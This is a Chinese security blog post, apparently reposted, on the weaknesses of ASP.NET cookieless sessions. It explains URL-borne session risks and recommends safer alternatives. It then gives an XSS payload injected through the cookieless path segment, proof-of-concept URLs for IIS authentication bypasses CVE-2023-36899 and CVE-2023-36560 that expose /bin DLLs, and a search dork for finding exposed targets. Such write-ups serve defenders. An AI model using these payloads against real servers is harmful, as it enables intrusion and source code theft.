Cookieless security

admin 2024年4月19日22:16:29评论3 views字数 4062阅读13分32秒阅读模式

Cookieless security

Source Code Disclosure in ASP.NET apps – PT SWARM (ptsecurity.com)

无 Cookie DuoDrop:ASP.NET 框架中的 IIS 身份验证绕过和应用池特权 (CVE-2023-36899 和 CVE-2023-36560) |Soroush Dalili (@irsdl) 博客

[NET 无状态会话配置漏洞.pdf--dotNet安全矩阵-zsxq](./NET 无状态会话配置漏洞.pdf)

Cookieless ASP.NET | Microsoft Learn

一切都是 .NET 的 XSS (isec.pl)

缺少无 cookie 会话管理 ·问题 #37978 ·dotnet/aspnetcore ·GitHub上

由来与建议

为什么要禁用第三方cookie?

search: 浏览器全面禁用三方 Cookie

既然禁用了第三cookie,大家怎么做的?

现在主流的浏览器都在逐渐禁用第三方cookies的使用。

在多主机环境(如使用API或iframe)中要使web程序正常工作,就需要提供一种也能在无cookies的情况下管理会话容器的方法是至关重要的。

10年前提供的传统ASP.Net框架就提供了管理此类会话的方法(在配置中设置cookieless=true)。现在,许多标准的.net应用程序都在迁移到这个特性以保持与新浏览器政策的一致性。

什么是Cookieless ASP.NET | Microsoft Learn

为什么不用了?

既然有人用了,那就有挖掘漏洞的必要。虽然官方已经弃用,不推荐使用了

Missing of cookieless session management · Issue #37978 · dotnet/aspnetcore · GitHub

Cookieless security

既然是一个无法修复的不安全技术,那么有哪些问题?

  1. 1. URL泄露敏感信息:在cookieless 会话中,会话标识符是通过URL传递的。这意味着它可能被存储在浏览器历史、服务器日志、或者通过HTTP Referrer头泄露给第三方网站。与之相比,cookies通常只存储在客户端,并且不会自动通过URL传播。

  2. 2. 会话固定攻击:如果会话标识符显示在URL中,攻击者可以更容易地将固定的会话URL传递给其他用户(例如,通过社交工程学手段),这可能导致会话劫持。

  3. 3. XSS攻击面增加:由于会话标识符包含在URL中,因此通过XSS攻击劫持会话变得更加容易。一旦页面脚本被注入恶意代码,攻击者可以获取URL中的会话ID。

  4. 4. 用户隐私问题:用户可能在不知情的情况下通过社交媒体或电子邮件分享含有会话ID的URL,无意中泄露了他们的会话信息。

等等 。。。

推荐的安全方式

推荐HttpOnly的cookies,同时使用SameSite属性指定cookies。更精细地控制cookies的发送。

第三方API调用和iframe的场景

通常这些场合下要求使用第三方cookies来管理会话,但由于浏览器政策限制了第三方cookies的使用,Dev需要寻找其他得替代解决方案,比如:

OAuth:对于API调用,OAuth和其他令牌基的认证机制可以用来安全地授权和验证请求,而不依赖于cookies。

PostMessage API:对于在iframes间通讯,可以使用PostMessage API来安全地在不同的域之间传递信息。

Web Storage:利用localStorage或sessionStorage来存储在同一域下的会话数据,虽然这些不适用于跨域。

对于迁移到.net core,需要新的会话管理方法,例如使用基于令牌的认证(如JWT)来替代传统的cookie-based会话。

这些方法比基于URL的会话标识符更安全。

(以上)

针对这个不安全的技术,说一下到底哪儿不安全了。

XSS的问题

All is XSS that comes to the .NET (isec.pl)

场景:

<%@PageLanguage="C#" %>
<!DOCTYPE html>
<htmlxmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
    <script src="<%=ResolveUrl("~/Script.js") %>"></script>
</head>
<body>
    .NET version: <%=Environment.Version%>
</body>
</html>

这段代码将 ~/Script.js 路径转换为特定于服务器的路径。

如果开发者把 Script.js 放在应用程序根目录,并在 A/B/C/default.aspx 文件中使用上述代码片段,那么访问 http://localhost/A/B/C/default.aspx 会渲染为:

<scriptsrc="/Script.js"></script>

这种前提下,引入SessionStateSection.Cookieless Property | Microsoft Learn

ASP.NET通过自动将唯一的会话ID插入页面的URL来维护无Cookie会话状态。

http://www.example.com/(S(X))/index.aspx

这种方法允许即使在用户浏览器不支持或禁用了Cookie的情况下,也能够保持会话状态。

会话ID在每个请求的URL中传递,在服务器端被识别和处理,以便关联到正确的会话数据。

其他的标识符

(A(X))-Anonymous ID
(S(X))-Session ID
(F(X))-FormAuthenticationTicket

Understand How the ASP.NET Cookieless Feature Works | Microsoft Learn

.NET Version URI
V1.0, V1.1 /(XXXXXXXX)/
V2.0+ /(S(XXXXXXXX))/
V2.0+ /(A(XXXXXXXX)F(YYYYYYYY))/
V2.0+

当浏览器处理cookieless 的会话ID时,ASP.NET自动将会话ID插入到每个应用程序路径中,确保会话能够在无Cookie环境中保持一致。

当访问

http://localhost/(A(ABCD))/A/B/C/default.aspx  或者
http://localhost/A/B/C/(A(ABCD))/default.aspx

时,<script src="/(A(ABCD))/Script.js"></script> 中的会话ID-(A(ABCD))被自动地添加到了Script.js的路径中。

直接修改

http://localhost/A/B/C/(A(%22onerror=%22alert`1`%22))/default.aspx
%22onerror=%22alert`1`%22
"onerror="alert`1`"

IIS Auth Bypass

Cookieless DuoDrop: IIS Auth Bypass & App Pool Privesc in ASP.NET Framework (CVE-2023-36899 & CVE-2023-36560) | Soroush Dalili (@irsdl) Blog

虽然 Cookie 是传输会话 ID 的主要方式,但 .NET Framework 还提供了一种替代方法:直接在 URL 中对会话 ID 进行编码。这种方法对不支持 Cookie 的客户端很有用。

https://[targetdomain]/(S(X))/default.aspx

在 .NET Framework 中称为“Cookieless”功能

search

http_path:"/(S" AND app:"ASP.NET"
搜索
之后利用iis短文件的脚本跑一波

怎么用?

Cookieless security

Source Code Disclosure in ASP.NET apps

Source Code Disclosure in ASP.NET apps – PT SWARM (ptsecurity.com)

之前的认证问题

CVE PoC
CVE-2023-36899 /WebForm/(S(X))/prot/(S(X))ected/target1.aspx OR /WebForm/(S(X))/b/(S(X))in/target2.aspx
CVE-2023-36560 /WebForm/pro/(S(X))tected/target1.aspx/(S(X))/ OR /WebForm/b/(S(X))in/target2.aspx/(S(X))/

当web.config中有

<?xml version="1.0" encoding="utf-8"?>
<configuration>
<system.webServer>
<modulesrunAllManagedModulesForAllRequests="true"/>
</system.webServer>
</configuration>

在开启cookieless之后,加上上面的配置,才会造成这些前提。

http://Y.Y.Y.Y/bin/Navigator.dll - 404

http://Y.Y.Y.Y/(S(x))/b/(S(x))in/Navigator.dll - 200

除了“/bin”之外,其他特殊的.NET文件夹:

/App_Code
/App_WebReferences
/App_GlobalResources
/App_LocalResources
/App_Data
/App_Themes
/App_Browsers
/Themes
/Views
/Models
/Controllers

修复:Microsoft IIS 和 .NET Framework 更新到最新版本。

对于 Windows Server 2019 和 .NET Framework 4.7,KB5034619 补丁目前修复了源代码泄露。

原文始发于微信公众号(wulala520):Cookieless security

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月19日22:16:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Cookieless securityhttp://cn-sec.com/archives/2674206.html

发表评论

匿名网友 填写信息